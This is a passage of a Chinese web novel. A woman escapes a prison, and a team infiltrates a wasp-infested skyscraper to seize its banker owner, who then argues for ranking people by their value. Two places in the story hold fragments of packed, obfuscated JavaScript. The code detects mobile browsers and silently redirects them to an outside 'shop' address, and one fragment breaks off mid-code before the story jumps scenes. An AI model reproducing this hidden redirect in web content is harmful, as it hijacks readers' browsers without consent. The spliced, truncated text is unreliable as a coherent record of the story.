“喂,快来帮我一下!”那个年轻人想要把曹文道的尸体从栅栏上掰下来,但他一移动曹文道的手,碳化的碎屑和烤肉的焦香让他忍不住想要作呕。那个年长的警员一会看看曹文道,一会看看周向青,颇为犹豫。 周向青识趣地默默转过身去。 年长的警员犹豫片刻,终于把那个控制器塞进口袋,靠近栅门,帮着同僚一起掰开曹文道的手臂。 周向青就在这时,撤步,旋身,出左腿。 这一脚生生踢断了栅门的门闩和门轴,震得两个警员一同向后退去。 踏步,再旋身,出右拳。 这一拳打在栅门正中,栅门脱框飞出,连同曹文道一起,撞在那两个警员身上。他们惊叫一声,却来不及闪躲。因为周向青已经进一步踏出牢房,一脚踩上栅门,把他们死死按在墙上。 那个年长的警员挣扎着,想要摸出口袋里的控制器。但周向青同时双手分别托住他们的下巴,猛地一推。 他们的后脑撞上墙壁,一同晕了过去。 她必须动作快。不能浪费这个别人用生命给她搏来的机会。 那两个警员没有任何武器。周向青扯下他们制服胸前的铜星,向走廊另一边奔去。 右转。 一个到岗太早的警员从左边的岔路探出头来。 周向青把一颗铜星掷了过去。星星的一角插入那人的面部,他直接倒了下去。 换班的警员们之前大概正在外面交接。一些人喝着咖啡,吃着早餐;另一些人正在更衣室里聊着天,换着衣服。也正因此,无论是上一班执勤的,还是还没有上岗的,在听到警铃的时候都是一愣,不知道是自己还是对方应该响应。 曹文道大概就是知道这一点,才给她安排了这个最极限的时间。 让她在对方这一愣的功夫里,能够从走廊的这一段冲向另外一段。 她再次右转的时候,已经能听到后面传来的脚步声。而她的面前是一条长长的走廊,她能看到在走廊末端有一面小小的窗。从那里能够看到外面世界照进来的阳光。 如果她这样过去的话,大概就没有时间再寻找掩体了。 她按亮了那小盒子上面的按钮。 倒计时是15秒。 走廊另一边的人声已经传了过来。她回身投出另一枚铜星。铜星平平飞过去,割开了他的咽喉。 倒计时10秒。 “怎么回事!”警员们看到飞溅的血花,尖声喊道。 “她跑出来了!” “怎么办?” “控制器!控制器!” “谁有控制器?” 倒计时5秒。 她举起那枚小盒子,向走廊的另一端投去。 “在这里!”有人压低了声音喊道。 她猛地从拐角后跳了出去。“呔!”她叫道。 正在递过控制器的警员吓了一跳,控制器吧嗒掉在地上。 她冲着他们微微一笑,然后向着爆炸冲去。 气浪。 冲击波。 爆炸就是冲击波。 而冲击波就像是大了那那那那那那么一点的风。 冲击波对于人类的脆弱身体来说,并不比破片安全。 但对于她来说,除了自己头上的那顶帽子,别的都不是什么大碍。 她就这样压着头顶的帽子,迎着风冲去。 爆炸不仅仅是掀开了铸造局监禁处的墙壁,还吹散了前方的雾气。 她自由了。 但自由只是暂时的。 她没有时间离开这座城市。她必须在姜原之前找到易谦明。 80.审判02 “我们有多少时间?”关铁震问。 “离天亮还有3个小时。维修电梯的人可能是八九点上班时间来。”姜原看了看手表,说道:“记住,建筑的夹层部分大概有十个大气压。虽然你们都穿着潜水服,但在进入内部之前,不要摘下面罩。”姜原说。“还有,降落务必要快,不然——” “用不着你反复强调。”白少俊说。 “好吧。反正,祝各位好运。”姜原耸耸肩。 计划是这样的。他们从最近一栋70层大楼的楼顶滑翔过去,在呼吸系统开启的时候进入夹层的空间内,然后切开50层以上的人孔门,迅速找到并控制易谦明和仿生人管家阿福。易谦明可能有小型火器,但相对来说也是比较容易的目标。比较危险的是仿生人和黄蜂群。 据周向青说,易谦明的卧室在最顶层。而阿福不确定会在什么地方。 “如果看到黄蜂,可以使用烟雾弹和电磁脉冲弹。如果看到阿福,可以使用电磁脉冲或致命武器。如果看到易谦明,优先使用震撼弹。” 如果可能的话,姜原想亲自审问一下他。 “已经监测了十次,似乎每一次打开的间隔和时间都有一定的区别。但总体来说,大概是3分钟一次。”郑小楼说。 “好。”姜原问。“我会在下一次护膝孔打开时开始计时。当我下令时,行动开始。到时跟据自己降落的位置,决定任务分配。” “好。”郑小楼清脆地答应。关铁震点了点头,而白少俊则不置可否。 对面银行大楼的呼吸孔打开了。姜原按下了手表上的倒计时。55秒后,姜原举起一只手。 “5秒准备!5、4、3、2、1,开始!” 他们一个一个从楼顶跳下去,在空中张开滑翔翼,在空中盘旋几圈获得速度以抵抗侧风,同时等待对面银行大楼的呼吸孔张开。关铁震和郑小楼在盘旋时倾斜有些多,下落速度有些偏快了。姜原打一开始就瞄准了易谦明,他尽可能减少自己的下落速度,保持在比较高的位置。但白少俊在后面紧紧地盯着他。 对面大楼的呼吸孔终于张开了。他们收缩滑翔翼,俯冲进去。白少俊的位置居然最高,姜原次之,而关铁震和郑小楼落到了最下面。他们的实际降落位置可能都不到50层,要向上爬很多层才行。 他们顺着气流飞进大楼的夹层,然后拉下尾翼,增加风阻以减少水平速度,同时尽量避开那些用来回收空气中雾气的鳃状滤片。在呼吸孔合拢,开始加压提升风速之前,将水平速度降低到安全值,然后选择位置降落。 如果不是他们三个人都参与过卡比利亚的空降,姜原大概并不会选择这么一个计划。他可能宁可试着从外墙一路爬上来。 好在这次空降还是比较成功的。有开伞失败而直接坠亡,也没有因为速度太快而撞在墙上。他们像蝙蝠一样,用滑翔伞上的挂钩勾住了对面峭壁上的扶手,然后在空中挣扎着摆正自己的身体。 如果他的机械爪还在的话就不用这么麻烦了。姜原不由得在心中叹气。但眼下叹气也是无用。他用安全绑绳把自己固定在旁边的扶手上,再把滑翔翼折叠好收进背包。然后他低头看了看关铁震和郑小楼。果然,他们的位置太低,如今只成了黑暗中的一点点色块。 “你们怎么样?”他喊道。 他的声音在这空间中回荡,最终变成了含混的嗡嗡声。他不确定那两个人能不能听清他在说什么。而且呼吸孔也开始轧轧地合拢了。加压空气喷出的嗤嗤声一瞬间盖过了仍然不息的回音。他自然也不可能听到对方的回答了。 姜原只好去解开自己的绑绳。他接下来要找到一个最近的人孔门。在他抬起头时,他看到白少俊正在上面目不转睛地盯着自己。姜原不由得打了个激灵。但不管怎么样,他只能一层一层地往上爬,去跟白少俊会合。 “你终于来了。我还以为我们离得这么远,你肯定会自己跑掉。”白少俊看着他一层一层地爬了上来。 “我定的计划,当然我也要按计划行事。”姜原回答。 “哼。我这双眼会一直牢牢盯着你。我知道你是在利用我们。” “那你就盯着呗。” 真是个麻烦的人。姜原并不是很担心他这次能发现什么。因为白少俊不太可能知道他跟柳怀石的约定。他只是担心白少俊什么时候脑子一抽,干出不经思考的事情。 “所以你到底是为什么觉得我在利用你?”姜原一边问,一边跟白少俊一同爬进峭壁上的沟渠里。 “虽然关老大并不知道你是什么人,但我能猜到。看到你那么关注圣女的事情,我就去稍微查了查相关的报道。”白少俊说。 “然后呢?你找到什么啦?”姜原随口问了一句,然后向下看了看。这次他是去确认周向青之前提到的,那个金属虫巢的位置。那个巨大的空洞大概就在下面七八层的地方。所以他们现在的位置大概就是八十多层的样子。 “我知道你肯定有鬼。”白少俊简短地说。 白少俊之所以没有继续说下去,是因为他们已经来到了压缩机附近。这里的风声尤其大,两人说话虽然也是通过面罩中的对讲耳机,但仍然很难听清楚。他们钻过另一侧压缩机旁的维修人孔门,继续沿着沟渠前行,找到了周向青当时说过的,通往楼内的一条通道。在那条通道的末端,就是一个人孔门。 姜原用力打开人孔,撬开装饰墙板,然后呆住了。 白少俊爬进来后,也呆住了。 这里的情况已经跟他们上次来的时候完全不同。 “这是什么鬼?”白少俊不禁问道。他暂时把姜原的“鬼”放到了脑后,专注看着眼前的“鬼”。 “我们还要继续往里走吗?”白少俊又问。 “不知道。”姜原考虑了一下,把人孔门关上了。“氧气还有不少。我们不忙做决定。先不要摘面罩。” “用不着你说。”白少俊道。“任谁看到现在这样子,也不会摘啊。” 他们面前的空气中飘着一层土黄色的浓雾,几乎看不到五六米外的情况。姜原伸手在空中抓了一把,搓了搓手指,感觉像是捻着沙粒一样,说涩不涩,说滑不滑的。他向前走了几步,往四周看了看,只见这一层中摆着不少收藏的各种电器,似乎都是崩溃前的各种游戏机。 也不知道易谦明到底是从哪搞来的这些东西。 如今电梯已经损坏,他们只能走楼梯。按照周向青那张61层的布局,楼梯应该就在他们的正对面,他们得穿过这个摆满各式游戏机的大厅。 “走吧。我们去看看。”姜原说。 但他还没走几步,姜原就感觉似乎有什么东西从自己附近掠过。他扭头看了看,发现白少俊也在左顾右盼。 “好像有什么东西。”白少俊说。 “是好像有什么东西。”姜原也说。他前后左右找了一圈,总能感觉有什么东西在他周围绕来绕去,却看不到究竟。 他们继续向前走去。 但还没有几步,这一次他看到有一只小虫笔直地朝着他飞来,然后从他的头顶掠过。姜原顺着那小虫的飞行方向抬头一望,险些惊叫出声。“黄蜂!”他低声说道,指了指天花板。 那天聚成一团团的黄蜂如今正三两成群地停在天花板上。时不时就有几只飞起来,在空中绕一圈离开,然后又有几只不知从哪里飞来。 “这到底是什么情况?”白少俊问。 “我不知道。感觉上是易谦明把所有的黄蜂都从那个蜂房里放出来了。不然不可能这么到处都是。”姜原说。 “那这雾又是什么?怎么这么黄?” “我哪知道。但最好别吸进去。” 按道理说,黄蜂们应该能看得到他们的存在。但那些小小的活化机械不知是什么缘故,只是静静地停在天花板上,只是时不时像是换岗一样,几只离开,几只补上。 他们小心翼翼地穿过大厅,走向另一侧的楼梯门。 推开楼梯门后,他们总算松了一口气。这边的空气不像大厅里那么黄,而且也没有黄蜂。 “我明白了。这些雾和黄蜂,应该是通过通风系统扩散的。所以这里才没有。这是防火通道,跟每一层都只有这个防火门连接,所以把它们隔住了。”姜原说完,看了看向上的楼梯。“不知道易谦明现在是什么情况。” 白少俊哼了一声。“你真的不知道?” “我是真的不知道。”姜原向上爬去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294319|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 白少俊在离姜原三五级的地方跟着。过了一会,他突然又问:“你真的不知道?” “我真的不知道。”姜原脚步不停。 “但你不是这种人。”白少俊说。“你不是这种人。你从一开始给人的感觉,就不是这种人。” “那是你自己武断的幻想。实际上我向来都是在没有足够信息的情况下做判断的,也不会只做有把握的事。” “不,你不是。你在船上跟我们说什么文档的时候,就是这个样子。好像你什么都知道一样,摆出一副胸有成竹的姿态。或许你真的不知道当时到底是什么情况,但你很清楚你自己的目的。” 姜原笑了:“清楚自己的目的有什么不对吗?人多少总得有点目标不是么。” 白少俊道:“你别装,你知道我不是那个意思。我查过了相关的信息。你不要想能像哄过他们一样骗我。而且,关老大他崇拜的那个邹什么家伙,他的死大概也跟你脱不开关系。” “嗬,你还真能幻想。我觉得你可以把迄今为止死的所有人都怪在我头上,不必客气。” 白少俊回以冷笑。“我没有客气。安提赛当时能接到那个任务,就有流言在讨论。他们说那本来是一个大任务,但董事会为了避免引起环运城过度警惕,才给了安提赛这个小组织机会。实际上没有人知道这趟任务的真实目标到底的是什么,所以即便安提赛失败了,也没有引起多少波澜。” “这本来也没有什么特殊的。出来赌命的买卖,有赢就有输。” “是。但这毕竟打破了停火协议。打破停火协议不说,但紧接着就是,招募了我们一大批没有编制的杂牌军,说要参加一个特殊的实验,一个特别的军事行动。目标定在卡比利亚。大家都知道,卡比利亚是统修会的重镇、圣地,如果堂而皇之的进攻就是战争,而对方也必然全力反击。但边境的军队居然还真的响应了。虽然他们没有过界,但毕竟也就是因为这种呼应,我们才有行动的机会。虽然后来不知道从哪里冒出了一个什么圣女。” “这就是意外呗。”姜原道。 “或许吧。然后我们工作的时候,却发现一个什么特别观察员也在车上——虽然是后来才知道——而你和圣女居然也在那趟车上,而且最后他还把圣女捉回了这里。这就不得不让人考虑了。这真的是巧合吗?然后我估算了一下时间,从打破停火协议那天起,到卡比利亚的特别行动,这个间隔,刚好够你跟那个什么圣女跑过去。” “你这就是胡乱猜测了。我不觉得你们的特别行动是为了去捉圣女。”姜原停下脚步,转过身对白少俊说。“你们特别行动是为了测试你们针对圣女草研制的武器。只是碰巧而已。” “或许吧。但这行动并不是董事会策划的。策划的人大概就是那个特别观察员,还有他背后的人。” 姜原知道白少俊是在说柳怀石。他也知道柳怀石背后必然还有别人,这一连串的事情也多半有什么缘由。但他此时却不能承认这一点。“你把人的计划看得太厉害了。没人能制定那么远,却还那么详细的计划。” “的确。我想一想就觉得头大。” 姜原倒是没想到对方会承认。“所以你——” “所以我在把你放在这条线上的时候,一切就很清楚了。压根就没什么文档。安提赛是为了捉到圣女,而你和圣女逃到卡比利亚,于是我们展开行动是为了诱捕你和圣女。而你说什么文档只是为了让我们帮你,你在这里干的事情,就是为了拿我们人贸银行是仿生人控制的这个信息,制造一个巨大无比的烟雾弹,好搅乱我们的阵脚,停止审判,你才能趁机救了她跑路,不是么?” 姜原不知该作何反应。如果说白少俊错了,却有点像那么回事;如果说白少俊对了,却实在错得有点离谱。 “你没有证据。”姜原说。他一时想不出怎么跟白少俊解释。 白少俊却露出一个获胜般的笑容。“你不是跟我们说,我们不是侦探,我们不需要证据,只需要知道我们需要的信息吗?” 姜原失笑道:“所以呢?” “所以我已经有了我需要的信息。”白少俊盯着姜原的眼睛说。“你迟早会背叛我们。我一定会在那之前杀了你。” 81.审判03 关铁震和郑小楼钻过人孔门进入楼内后,也同样吓了一跳。他们从来没有见过这么暗黄色的空气,还有天花板上的黄蜂。 “汤元?少俊?白少俊?”郑小楼在对讲机中呼叫了好几次,都没有得到任何回复。 “这样怎么办?”郑小楼问。 “可能是楼层太多,信号衰减到无法解析了。咱们继续前进吧。隔一段时间呼叫一次。”关铁震道。 他们蹑手蹑脚地走过第50层。这一层的布局跟楼下银行的部分有些相似,在一个无人的会场大厅挂着一条横幅,上面写着“欢度人才贸易银行建行4周年纪念日”。可见这里很长时间都无人打扫,也没人来过。 “看来以前易谦明也没有那么不近人情。”郑小楼说。 关铁震笑了。“你想太多了。我甚至不认为‘不近人情’可以形容那个家伙。你只要看过他戴着头套吃饭的样子,绝对会相信我的说法。” “但我不相信有人会故意破坏自己的事业,也不信开创人才贸易银行的人,一个要衡量每个人价值的人,会随随便便……会牵扯到连环杀人的案子里。这不是自相矛盾吗?”郑小楼道。 “所以你觉得更有可能是那个仿生人管家干的对吧?我也是这么想。一个大富豪去杀人,有点太荒谬了。”关铁震说完,哈哈哈地笑了好几声。 “但仿生人为什么杀价值评级低的人呢?我想不到一个合理的理由。” “如果能见到他的话,你可以好好问问,不过先得把他的脑袋拆下来。”关铁震推开楼 梯间的防火门。他看着向下蔓延的楼梯,问:“我们要不要把这扇门堵住?如果维修电梯的人提前来了,可能会给我们添麻烦。” “我不知道。我是觉得没什么意义。不过既然你这么说,那就堵住吧。” 关铁震返回50层的大厅里,找了一把椅子,把它砸碎了,一条椅子腿插进49层防火门的把手里。 “你这样跟没堵岂不是没什么区别。”郑小楼摸出一枚震撼弹,用丝线小心地把拉环系上门把手,然后把弹体在另一边的把手上卡好。这样另一边的人即便推开一点门,也没有办法看到这一面的情况。“一般人如果发现有陷阱,大概就不会再往上走了。” “不错不错。”关铁震笑了笑。 他们继续一层一层地向上爬去。 预计中,易谦明应该会在顶层的套间里休息。但也不能排除他在其它地方的可能性,尤其是57、58。这两层也是姜原标记的,易谦明最喜欢驻留的楼层。 从50到56层,除了已经弥漫到所有楼层的黄色烟雾和黄蜂以外,关铁震和郑小楼什么都没有找到。所以在他们推开第57层的防火门时,颇感意外。这边的空气中没有那种怪怪的黄色,同时天花板上也没有蜂群。似乎除了光线很暗之外,并没有什么别的问题。 “我记得汤玉茗说,这两层都是蚂蚁。真是诡异的地方。”郑小楼道。他们两人一同转过仅亮着紧急撤离灯的走廊。 关铁震把电筒扫来扫去,寻找着不存在的威胁,同时答道:“所以千万不能松懈啊。” “不过这里为什么没有那些雾和蜂呢?也是够奇怪的。” “不知道。” “哦!我想到了。”郑小楼有些兴奋地说。“你想到没有?” “没有。我没你那么聪明。” “易谦明不是在这里养蚂蚁吗?而夏天的时候,蚂蚁也会长翅膀飞的。他肯定是害怕蚂蚁四处乱飞乱爬,所以才——” “那叫婚飞。”突然在黑暗中传来了一个没精打采的声音。 关铁震和郑小楼一同把手电指向声音的方向。但那里居然一个人都没有。 “能不能请你们把手电关掉?实在太亮了。”那人说道。 “易谦明?”“易先生?”郑小楼和关铁震同声问道。 “是我。请你们把手电关了吧。这样容易影响到蚂蚁。” “好的。”关铁震马上关掉了手电。郑小楼犹豫了一下,也把电筒关掉了。 “多谢。”易谦明在黑暗中说道。“我的确是害怕蚁后从这里跑出去,才没有把这两层的通风系统跟其它楼层连起来。好在当时有这么一层考虑,现在这里才没有被那些东西污染。”他说到这里,突然紧张起来,问:“你们两个吸过那个黄雾吗?” “我们?”郑小楼问。“没有,我们戴着氧气面罩。吸了会怎么样?很危险吗?” 易谦明没有回答郑小楼的问题,只是同样没精打采地说:“那就好。但不管怎么样,还是请你们回去吧。不要来烦我。” 关铁震并没理解易谦明的意思。他说:“易先生。我们是想请您跟我们走一趟。您看这里这么危险,我们可以带您出去……” “不要!你们给我滚,别来烦我!”易谦明不耐烦地喊道。 接着就是一阵哒哒的脚步声。 他竟然跑掉了。 郑小楼责怪地瞪了关铁震一眼。 “我……我也不知道他会跑啊?”关铁震一摊手。 “还说什么?追啊!”郑小楼跺脚道。 但上哪里追呢?郑小楼真的进入这个古怪的房间之后,才知道这里到底是怎样一个地方。这房间可能有几百平米,到处都是玻璃柜,时而相通,时而又不相通,曲曲折折犹如迷宫一般。她三转两转,就已搞不清楚东南西北了。 她甚至不知道易谦明到底去了哪里,也不知道自己是从哪里进来的。 “你找到他了吗?”关铁震在对讲机中问道。 “没有。我根本不知道他在哪。”郑小楼说。 “要不你叫他一声。说不定他会答应你。毕竟……” 郑小楼撇了撇嘴,试探性地问道:“易先生?你在哪里?我们不想伤害你。易先生?” “我不要出去!我才不要从这里出去!”易谦明叫道。回声在黑暗中往来回荡,根本分不清声音的源头到底在哪里。但听起来并不算远。 “我们并不想让你出去。”她一面说谎,一面向前摸去。“我们只是想让你安安全全的。” “别扯这种谎。你们根本不知道现在外面是什么情况!”易谦明的声音似乎也在不断向前移动。 “这样吧,你就藏起来好了。我也不再向前走了。你听得到我的声音。我不会靠近你的。我只是想问你几个问题,跟你聊聊。”郑小楼说。关铁震大概现在正在找易谦明的位置。她让他一直说话,就能锁定他的位置了。 过了一阵,易谦明突然问:“你现在在哪?” “我还在原地。”郑小楼道。 “好。你不要动。”易谦明似乎稍稍安了点心。 “我保证不动。你说我们不知道外面是什么情况,所以能不能讲讲,这地方到底是什么情况?上次我们过来的时候,还不是这个样子。” “你来过?”易谦明怀疑道。 “我来的时候没见到你。你的管家不让我跟你见面。” “嗯。那很正常。我不想跟没有关系的人见面。” “但我们不是没有关系的人啊。你不是雇了我们调查连环杀人的案子吗?” 易谦明沉默了一会,道:“是有这么回事。你跟那两个家伙是一伙的。” “对。我是其中一个。” “那你可以回去了。就算你们调查有结果,我也没有兴趣。” “不,还算不上有结果。但是——” “而且我也不想让你们继续调查了,”易谦明突然大声打断了郑小楼的话,“请你们回去吧。费用我会照付。” “抱歉。恐怕不行。” “为什么?” “前天我们也死了一个人。我们肯定要找出来到底是谁干的。” 易谦明不再说话了。 “你继续让他说话。我感觉我离他不远了。”关铁震在对讲机里低声说道。 郑小楼只好又问:“易先生,我们不谈不愉快的话题。今天这个情况到底是怎么回事,你能解释一下吗?我们从下面上来的时候,发现到处都是黄蜂和那种黄色的雾。” 过了好一会,易谦明终于答道:“他大概是觉得蜂巢受到威胁了。那可能是一种防御模式。我不知道他是不是打算弃巢。如果他决定弃巢,那就麻烦了。但都怪她!可恶的仿生人,如果不是她——” “你说的‘他’,是你的机器人管家吗?”郑小楼听糊涂了。 易谦明没有回答。 郑小楼只好又问:“你说的弃巢又是什么意思?如果弃巢了会怎么样?” “弃巢就是会找个地方另外筑巢。只是目前蜂群没有出去,可能是因为没有合适的地方,也可能是他还不认为现在是弃巢的时机。具体我怎么知道?我知道现实中的黄蜂是什么样子,但那玩意……鬼才晓得。如果它们能安静下来,可能会回到原来的巢里去。但它们正在把周围的东西撕成碎片。说这些都没有用。什么都有可能。” 郑小楼突然明白了。“那这个他,现在在什么地方?” “你不要问了!我什么都不知道!”易谦明像是被刺激到了一样大声喊道。“仿生人。活化机械。呵呵,不要以为它们看着像,就是你知道的生物。前一秒你以为你什么都明白,后一秒它们就跟你想的完全不一样。现实中的弃巢也只是蜂群一起飞散而已……但它们正在寻找一切可以攻击的东西。现在他就在这栋楼里四处巡弋,我不知道他什么时候才会……我不知道他还能不能镇静下来。当时他都把我也列为目标了……我真的不知道,不知道!” “我们不会让你出去的。”郑小楼安抚道。“我们会帮你解决你的管家。” “你们快点给我出去。只要能让他平静下来,只要让它们平静下来……” 易谦明的声音渐渐小了下去。他或许是在一个人在嘟嘟哝哝说些什么,但郑小楼是听不到了。 “易先生?易先生?你还在吗?”郑小楼问。 “你不要再叫了——啊!” 郑小楼向前跑去。她听到对讲机中响起了碰撞声和粗重的呼吸声。肯定是关铁震已经扑到了易谦明的身上。她沿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我说的不是这个。”大黄蜂道。“我说的是,如果它没办法回到自己的位置上,那么整个价值评级系统就会崩溃。这个系统建立自己的基本数据库并没多长时间,还正是调整的阶段,最担不起这种动荡。” 郑小楼心中不快:“那跟我们有什么关系?” “当然跟你们有关系。整个价值评级是一个动态的系统,如果每个人的价值不能够迅速地更新,整个社会就没有办法及时调整,就会像一潭死水那样腐败变质。任何东西都必须是运动的,不论是蜂群,还是你们周围的蚁群。蚂蚁们需要不断更新蚁巢中的蚂蚁,不然死亡或感染的蚂蚁会增导致菌类繁殖,污染整个蚁巢的空气,然后就跟你们这些看上去无关的蚂蚁有了关系。你们会感染、死掉。这都是不流动的结果。” “你还真是能说啊。真不愧是……设计出这个诡异系统的人。”关铁震道。 “但人和蚂蚁又不一样。我不清楚你说的这个‘感染或死亡的蚂蚁’是在具体比喻什么东西。贪污腐败吗?”郑小楼问。 “是,也不是。人会老,会疲倦、贪婪、恐惧,会想着趁还有机会就多为自己捞一把,而不是继续劳动。而让这些人仍然留在他们自己的岗位上,是对整个集体的损害。当蚁群中出现这样的蚂蚁,它们会把这些蚂蚁清理出去。而人类也应该做同样的事。所以才需要不断评定所有人的价值,让最有价值的人获得最好的资源,并在他们没有价值的时候进行调整。” 郑小楼皱起眉头道:“感觉你这样太苛刻了。” “但的确是挺合理的做法。”关铁震似乎是被大黄蜂说服了,渐渐松开了自己的手。大黄蜂连忙打了个滚,从他身上爬开。关铁震自己也坐了起来。“这世界上很多人有才能而不得志,也有很多人什么都不会却窃据高位。让每个人到符合他能力的位置,这是很高明的本事。” 大黄蜂坐在地上,不断揉捏自己被勒痛的手臂。 郑小楼知道关铁震在想什么。但这不是感慨社会不公的时候。“但他这个言论你听起来不耳熟吗?简直就是报纸上对杀人事件的动机猜测!本来我还觉得你不可能会干出这种事,危害到你自己的事业,但现在我推翻我之前的看法了。我只问你一个问题。是你杀的人吗?” “得了吧。他说的是价值调整,谁说杀人了?”关铁震已经站起身,拍了拍自己身上的尘土,又对大黄蜂伸出手去。 “我想听你正面回答我。”郑小楼不依不饶。“杀人的是不是你?” “不是。”大黄蜂答道。他拉着关铁震的手,爬了起来。 “看吧。”关铁震说。 “他们是自杀的。”大黄蜂又说。 关铁震睁大了眼睛,望着那个黄蜂面孔的头套。“你说什么?”他问。 “你怎么知道他们是自杀的?”郑小楼也问。她向前走了一步。 “他们是自杀的。他们在认识到自己是什么人,认识到自己的价值之后,他们就自杀了。”大黄蜂突然歇斯底里地大笑起来。 简直是疯了。在这种地方,谁都会疯的。 “你们也会自杀的!”大黄蜂突然止住笑,高声喊道。 他如剃刀一样尖锐的声音,差点划破关铁震和郑小楼的耳膜。 警铃声突然大作。 82.审判04 “我觉得应该纠正一下你的用词。是‘我迟早会离开你们’,而不是‘背叛’。合作结束后各奔东西,和在合作过程中背后捅刀,是完全不同的两个概念。”姜原也毫不退让地顶回白少俊的目光。 “你迟早会背叛我们。”白少俊重复道。 “如果你这么觉得,那就来杀我啊?然后我们就知道是谁先背叛谁了。”姜原说完,转过身继续上楼。他向上爬了十来级台阶,听到白少俊的脚步声快速赶了上来。 “你别以为你这样就能洗清嫌疑。”白少俊从他身边经过时,低声说道。 姜原没有回答,只是松开了自己袖子里面的扳机。 他们继续沿着消防楼梯向上爬去。易谦明的顶层套房就在眼前。 白少俊抢先一步推开防火门,向里面看去。这里同样充满黄色的雾气,以及时不时飞来飞去的蜂群。 “你觉得易谦明会留在这里?”他问。 “不大可能。但我们还是得看一看。说不定他现在正躲在哪个暗室里面。富人不是都很乐于在自己的房间里设置一条逃生的暗道吗?”姜原答道。 他们蹑手蹑脚地进入顶层的套房。这里的确是个蛮奢华的所在,配得上复合体最大银行的所有者。只不过按现在这情况,怕是倒给钱都没有人想在这里呆一分钟。 “这简直不像是人住的地方。就算没有雾和虫子,我也不想一个人住这。”白少俊感慨道。“实在是太空了。住在这里简直就像……就像……”他想不出一个合适的比喻。 “就像只有一只蚂蚁的蚁穴。”姜原说。他还记得周向青给他描述的易谦明的爱好。 “你那是什么意思?”白少俊问。 “没什么。我只是觉得,他并不完全是为了掩盖外面那个呼吸系统才在这里搞了这么多乱七八糟的房间。因为他根本不打算让谁上来。如果把这里当作他的蚁穴那就很容易理解了。这个顶层是一个缩小版,而整栋楼是一个扩大版。每一层都是一个洞,里面装满该装的东西。而他也有自己的功能,他是这里的王……但蚁后主要是负责生育的。但他好像没有生育的打算。”姜原拉开易谦明卧室的床头柜,又打开衣柜。“这里看上去不像是来过女人。” “大概有一个专门供他跟女人上床的房间吧。”白少俊说。 姜原笑了笑。“说不定他也是婚飞呢。你看看那床,明显没人睡过。我看他都不经常回卧室。这里太整齐了,连根头发都没有。有人生活的地方,多少总得掉几根头发。可能他昨晚还没回到这里,这个黄雾就出现了。然后他也就没回来。毕竟现在没有电梯,回到这里要爬二十多层。一个养尊处优的人能爬二十多层吗?可恶,我之前应该考虑到这点。他看到了黄雾,然后他去找呼吸面罩……因为我肯定不想吸这雾气。谁知道吸了会怎么样。然后他会去哪里?” 姜原一面在房间里搜索,一面自言自语,试图捋清自己的思路。 姜原记得昨天他来的时候,那个用来处理蜂群的设备是在餐厅那一层,也就是70层。如果这些黄雾是在他们逃走之后就出现的,那么易谦明最有可能躲到哪里?70这个层数的确有点意思。它是上五十层中部偏下的位置,同时也是整体一百层中部偏上的位置。的确是最能有效利用这个呼吸系统的地方。但同样,当蜂群从这里泄露出来的时候,就通过70层的中央空调风道,同时向上下方扩散到其它区域。 易谦明毫无疑问也应该知道这一点。那么在他面对这种状况时,他应该怎么办? 关闭通风系统,然后出去呼救。 这是理性人的做法。但易谦明并不像是一个理性人。 白少俊说:“说不定他直接下楼,出去过夜了。” “不可能。他那个样子,没人受得了他,他也受不了别人。” “那你说他在哪?” “我们一层一层看看。他最有可能在70层附近的某个地方,但也不能排除他已经死了的可能性。说不定他已经被黄蜂给做成肉丸子,喂了幼虫了。”姜原恶趣味般地笑了笑。 白少俊不由得打了个哆嗦。 当然,姜原并不认为黄蜂会攻击易谦明。但他选择一层一层找下去,也是想找到那个仿生人管家的位置。一直是那个仿生人在接受活化机械传来的信息,那么这种状况下,能控制阿福,就能控制事态。 他们一层层地下楼,一层层地搜索,但始终未能找到易谦明的踪迹。姜原注意到,他们越是下楼,黄色的雾气就越是浓烈。而天花板上和飞来飞去的黄蜂也就越多。它们似乎仍然在休息、警戒、漫无目的地啃咬。 还好。至少没有惊动它们。 这些黄蜂很明显能看到姜原和白少俊的存在。但它们并没有做出任何行动。或许他们身上没有足以吸引蜂群行动的气味,或是物质。姜原记得那天黄蜂似乎一直是盯着周向青的。貌似这些活化机械真的只对仿生人有兴趣? 但它们应该不会对任何仿生人都有兴趣。否则这座城市大概在几十年前就已变成黄蜂的巢穴,也轮不到复合体在这里建都了。那么,要么是周向青身上有一些这些黄蜂喜欢的东西,要么就是黄蜂攻击周向青是出于仿生人管家的指挥。大概后者的可能性更高一点。 而且黄蜂不是要采集那些人体排出的雾气吗? “你真的认为易谦明会被黄蜂攻击吗?”白少俊似乎也在考虑类似的问题。 姜原摇了摇头。“我不知道。不能说没有这个可能性。但我觉得如果真的到那个地步的话,我们还是尽快撤出去比较好。” 从这里撤离有两条路线,一条是正常的通过防火通道,在银行开门后从正门离开;另一条是紧急撤离,撬开电梯门,从风道撤退。 “怎么?” 因为我的任务也只是干掉易谦明而已。当然,姜原嘴上说的是:“因为我觉得自己的命比较重要。” 时间一分一秒地过去。他们一层又一层地向下搜索。自85层以后,每下一层白少俊都要试着用对讲机呼叫一下关铁震和郑小楼,但始终没有反应。 “感觉他们可能是在某个地方停住了。这玩意的通话范围按理说也有三五百米。”白少俊抱怨道。 “干扰太大了呗。谁知道这些墙里还埋了多少东西。再过几层就到餐厅了,那可是原来虫巢的地方。而且这几层的虫子也的确越来越多了。” 姜原随口回答,同时推开74层的防火门。 他甫一开门,就感觉到明显不对。这一层的黄蜂太多了。在离他不远的一个标牌上爬满了蜂群,根本看不出那原来是什么东西。这里的黄蜂也不是其它楼层那样三五成群地交替起飞,而是时不时就如汹涌的海潮一样,翻起一朵黄黑色的浪花。就在一朵大大的浪花之后,姜原看清了这里原来是什么地方。 